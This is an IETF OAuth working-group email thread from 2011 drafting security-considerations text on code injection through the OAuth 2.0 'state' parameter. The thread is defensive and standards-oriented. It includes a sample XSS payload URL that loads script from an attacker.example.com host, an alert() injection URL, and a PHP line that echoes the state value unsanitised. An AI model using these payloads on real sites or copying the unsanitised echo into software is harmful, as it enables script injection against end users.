Sounds good Eran On 25 July 2011 07:37, Eran Hammer-Lahav <e...@hueniverse.com> wrote:
> This seems too verbose, considering how fundamental input validation is in > general.**** > > ** ** > > I added the following to a new section:**** > > ** ** > > A code injection attack occurs when an input or otherwise > external variable is used by an**** > > application in which that input can cause modification of the > application logic when used**** > > unsanitized. This may allow an attacker to gain access to the > application device or its**** > > data, cause denial of service, or a wide range of malicious > side-effects.**** > > </t>**** > > <t>**** > > The Authorization server and client MUST validate and sanitize > any value received, and in**** > > particular, the value of the ‘state’ and ‘redirect_uri’ > parameters.**** > > ** ** > > EHL**** > > ** ** > > ** ** > > ** ** > > *From:* oauth-boun...@ietf.org [mailto:oauth-boun...@ietf.org] *On Behalf > Of *Aiden Bell > *Sent:* Wednesday, July 20, 2011 12:04 PM > *To:* OAuth WG > > *Subject:* Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter**** > > ** ** > > See below for revision, tried to follow the "introduction, recommendation, > example" > structure in 10.12 "Cross-site Request Forgery" and shorten my text. > > I'm strugging to make it clear that any internal modification to the > 'state' parameter > must not affect the re-transmitted value of 'state' in Authorization > Response / Error > Response when it originates from the authorisation server. > > ---**** > > > Security Consideration: Code Injection Attacks**** > > Code injection attacks are when an input or otherwise external variable is > used within > an application where that input can cause modification of application logic > when unsanitised. This may allow an attacker to gain access to client or > user data, > cause Denial of Service or a wide range of malicious side-effects.**** > > > > Incorrect validation or sanitation of the 'state' parameter from section > 4.1.2 could lead to code > injection. Both client and server SHOULD ensure that the "state" parameter > described**** > > in section 4.1.2 is correctly sanitised for internal processing, storage or > output outside the > scope of the OAuth protocol. > > Failure to correctly sanitise the 'state' parameter can cause code > injection attacks even if a > cryptographically secure extension such as [I-D.ietf-oauth-v2-http-mac] is > used. > > As an example, a malicious person may create a fake Error Response as > described in section > 4.1.2.1 containing a maliciously crafted state parameter. The following > request would be sent to > the client: > > > https://client.example.com/cb?error=access_denied&state=%3Cscript%20type%3D%22text%2Fjavascript%22%20src%3D%22http%3A%2F%2Fattacker.example.com%2Fmalicious.js%22%20%2F%3E > > Insecure transfer of the decoded value into the HTML buffer of the client > application > may result in the injection of code into the user agent of the end user, > possibly compromising data. > This example attack can be mitigated by sanitising the 'state' parameter to > remove or escape HTML > syntax before interpolation of the value into server output to the user > agent. > > --end--**** > > On 20 July 2011 19:40, Eran Hammer-Lahav <e...@hueniverse.com> wrote:**** > > Take a look at how the other sections in the draft setup the premise first > and give a quick explanation of the attack…**** > > **** > > EHL**** > > **** > > *From:* Aiden Bell [mailto:aiden...@gmail.com] > *Sent:* Wednesday, July 20, 2011 11:38 AM > *To:* Eran Hammer-Lahav; OAuth WG**** > > > *Subject:* Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter**** > > **** > > Been following this discussion > > I'll propose some text, though it seems to me it is getting into the realm > of "Don't trust inputs" > > It is also worth noting that signing the request using something like the > HMAC extension elevates any > problems where you DO need to evaluate the state parameter in some way > where the evaluation process > is too complex to secure (DSLs and languages in state, which is really ugly > but, someone may do it). > > Really though, just seems like general application security advice rather > than OAuth specific > > Security Consideration: Code Injection Attacks > > Incorrect validation or sanitation of the 'state' parameter from section > 4.1.2 could lead to code > injection. > > Both client and server SHOULD ensure that the "state" parameter described > in section 4.1.2 is correctly validated, escaped or sanitised prior to > processing for their application's > requirements. Modifications, for security or otherwise to the 'state' > variable contained in the Authorization Request by the > authorization server will not be transmitted to the client in the > Authorization Response or Error Response > as the response 'state' value MUST be identical to the value in the > request. > > If the 'state' parameter passed between client and server contains a value > which is interpreted or > otherwise placed into a context that requires evaluation of the unmodified > value then a cryptographic > scheme such as that defined in [I-D.ietf-oauth-v2-http-mac] should be used > to verify request authenticity. > It should be noted however than a cryptographically authentic request may > still contain malicious > code if the client or server integrity can not be established and trusted. > > As an example, a malicious person may create a fake Error Response as > described in section > 4.1.2.1 containing a maliciously crafted state parameter. The following > request would be sent to > the client: > > > https://client.example.com/cb?error=access_denied&state=%3Cscript%20type%3D%22text%2Fjavascript%22%20src%3D%22http%3A%2F%2Fattacker.example.com%2Fmalicious.js%22%20%2F%3E > > Insecure transfer of the decoded value into the HTML buffer of the client > application > may result in the injection of code into the user agent of the end user, > possibly compromising data. > This example attack can be mitigated by sanitising the 'state' parameter to > remove or escape HTML > syntax before interpolation of the value into server output to the user > agent. > > --end-- > > Not claiming it is good, well written or concise ... but it is proposed. > Even if it is rejected, feedback > would be appreciated. > > Thanks, > Aiden**** > > On 20 July 2011 18:36, Eran Hammer-Lahav <e...@hueniverse.com> wrote:**** > > I think most of your description isn't very relevant to this particular > attack. I'll skip to the part where the legitimate client gets a maliciously > modified state parameter value. > > Your concern seems to be a simple code injection attack (e.g. that some > clients will not properly protect their code from invalid state values). For > example, a client may use state to pass a JSON string and when it receives > it back, calls eval() on the raw state value or even JSON.parse without > catching exceptions. > > The right way to address this is to add a new security consideration > section discussion the various Injection Attacks possible. Using state to > include malicious code is one. Another is code injection in the redirect_uri > by a malicious client to an authorization server supporting dynamic > redirection URIs. > > Then of course, there really is no need for any elaborate setup for anyone > to send requests to the client redirection URI endpoint directly (without > following any of the flow). In such a case, the enforcement of safe state > values by the authorization server will accomplish nothing if the client > doesn't perform its own validation (and we're back to square one). In other > words, I can call any endpoint on the client with any malicious parameters > and try to break it. > > But even if you perform input validation on the client side, which should > prevent a code injection attack, you are still open to other malicious > manipulation of the state parameter. For example, a naïve client can use the > state parameter to pass a user id so that when the redirection callback is > called, it can link the access token to that account. That of course, would > be a very bad thing (tm) without some protection (e.g. state cookie) which > the client can use to validate the state value. > > In short, over specification does not solve ignorance. We can and should > highlight the possible code injection attacks on both the client and > authorization server, as well as other security concerns around the state > parameter. But at the end, it is up to both the client and authorization > server developers to build secure applications. > > So, anyone volunteering to propose text?**** > > > EHL > > > > -----Original Message----- > > From: bigbadb...@gmail.com [mailto:bigbadb...@gmail.com] On Behalf Of > > Bob Van Zant**** > > > Sent: Wednesday, July 20, 2011 9:29 AM > > To: Eran Hammer-Lahav > > Cc: Breno; OAuth WG**** > > > Subject: Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter > > > > The problem lies in the inherent trust of the state parameter. The naive > > client application developer assumes that state goes out to the > authorization > > server and comes back unchanged; because that's what the spec says will > > happen. > > > > As a malicious person I use the client application and steal the client > id when > > I'm redirected to the authorization server. > > > > I then craft my own authorization URL pretending to act on behalf of the > > client application. > > > > http://example.com/oauth/authorize?client_id=deadbeef&response_type= > > code&state=%3Cscript%3Ealert%28%22omg%22%29%3B%3C%2Fscript%3E > > > > I send that out to unsuspecting people. Those people are sent to my site; > > maybe they trust it. The site is asking them to authorize an application > they > > perhaps they're familiar with. So they do. > > > > Now the assumption, and it's really not much of a leap of faith, is that > some > > client developer is going to take that state variable and put it directly > into > > their site. In PHP it could be something silly > > like: > > > > Thanks for authorizing our app, $_GET["state"]. > > > > Chrome protects me from this basic attack (I just inserted it into one of > my > > demos): Refused to execute a JavaScript script. Source code of script > found > > within request. Other browsers won't. Real attackers are more creative > than > > me. > > > > -Bob > > > > > > > > > > > > On Wed, Jul 20, 2011 at 9:11 AM, Eran Hammer-Lahav > > <e...@hueniverse.com> wrote: > > > Can you provide examples of bad values and how they make the > > implementation less secure? What's the attack vector here? > > > > > > EHL > > > > > >> -----Original Message----- > > >> From: bigbadb...@gmail.com [mailto:bigbadb...@gmail.com] On Behalf > > Of > > >> Bob Van Zant > > >> Sent: Wednesday, July 20, 2011 9:10 AM > > >> To: Breno; Eran Hammer-Lahav > > >> Cc: OAuth WG > > >> Subject: Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter > > >> > > >> I think somewhere in here my original comments got lost. The spec, as > > >> written, provides no limitations on what can go in the state variable. > > >> If we don't define those limitations in the spec implementors are > > >> going to define their own limitations (I'm on the verge of doing it > myself). > > >> > > >> I propose that the state variable be limited to the set of characters > > >> [a-zA-Z0- 9_-] and be restricted to a maximum length of 150 > characters. > > >> It's simple, doesn't require URL encoding, and will be hard for a > > >> client application to turn into a vulnerability. It provides plenty > > >> of uniqueness (it can fit a sha512) for even the largest and most used > > client applications. > > >> > > >> -Bob > > >> > > >> > > >> On Wed, Jul 20, 2011 at 8:24 AM, Breno <breno.demedei...@gmail.com> > > >> wrote: > > >> > > > >> > > > >> > On Mon, Jul 18, 2011 at 11:32 PM, Eran Hammer-Lahav > > >> > <e...@hueniverse.com> > > >> > wrote: > > >> >> > > >> >> > > >> >> > -----Original Message----- > > >> >> > From: oauth-boun...@ietf.org [mailto:oauth-boun...@ietf.org] On > > >> >> > Behalf Of Eliot Lear > > >> >> > Sent: Sunday, July 17, 2011 2:49 AM > > >> >> > > >> >> > One other point: if the redirection_uri can have fragments and > > >> >> > can be provided, why is state necessary? > > >> >> > > >> >> First, I assume you mean query instead of fragment. > > >> >> > > >> >> This was discussed on the list about a year ago. There isn't a > > >> >> requirement to support both dynamic redirection URIs as well as a > > >> >> special state parameter. However, the state parameter provides a > > >> >> better way to allow customization of the redirection request > > >> >> alongside full registration of the redirection URI. Section 3.1.2 > > >> >> recommends using the state parameter over changing the redirection > > >> >> URI > > >> itself. > > >> >> > > >> >> Using state is much simpler because the authorization server does > > >> >> not have to implement potentially insecure URI comparison > > >> >> algorithms for dynamic redirection URIs. > > >> > > > >> > Agree -- for instance, Google's provider doesn't allow arbitrary > > >> > dynamic specification of query or fragment parameters in redirect > > >> > URIs, for instance, due largely to security considerations. > > >> > > > >> >> > > >> >> EHL > > >> >> _______________________________________________ > > >> >> OAuth mailing list > > >> >> OAuth@ietf.org > > >> >> https://www.ietf.org/mailman/listinfo/oauth > > >> > > > >> > > > >> > > > >> > -- > > >> > Breno de Medeiros > > >> > > > >> > > > > > _______________________________________________ > OAuth mailing list > OAuth@ietf.org > https://www.ietf.org/mailman/listinfo/oauth**** > > > > > -- > ------------------------------------------------------------------ > Never send sensitive or private information via email unless it is > encrypted. http://www.gnupg.org**** > > > > > -- > ------------------------------------------------------------------ > Never send sensitive or private information via email unless it is > encrypted. http://www.gnupg.org**** > -- ------------------------------------------------------------------ Never send sensitive or private information via email unless it is encrypted. http://www.gnupg.org
_______________________________________________ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth
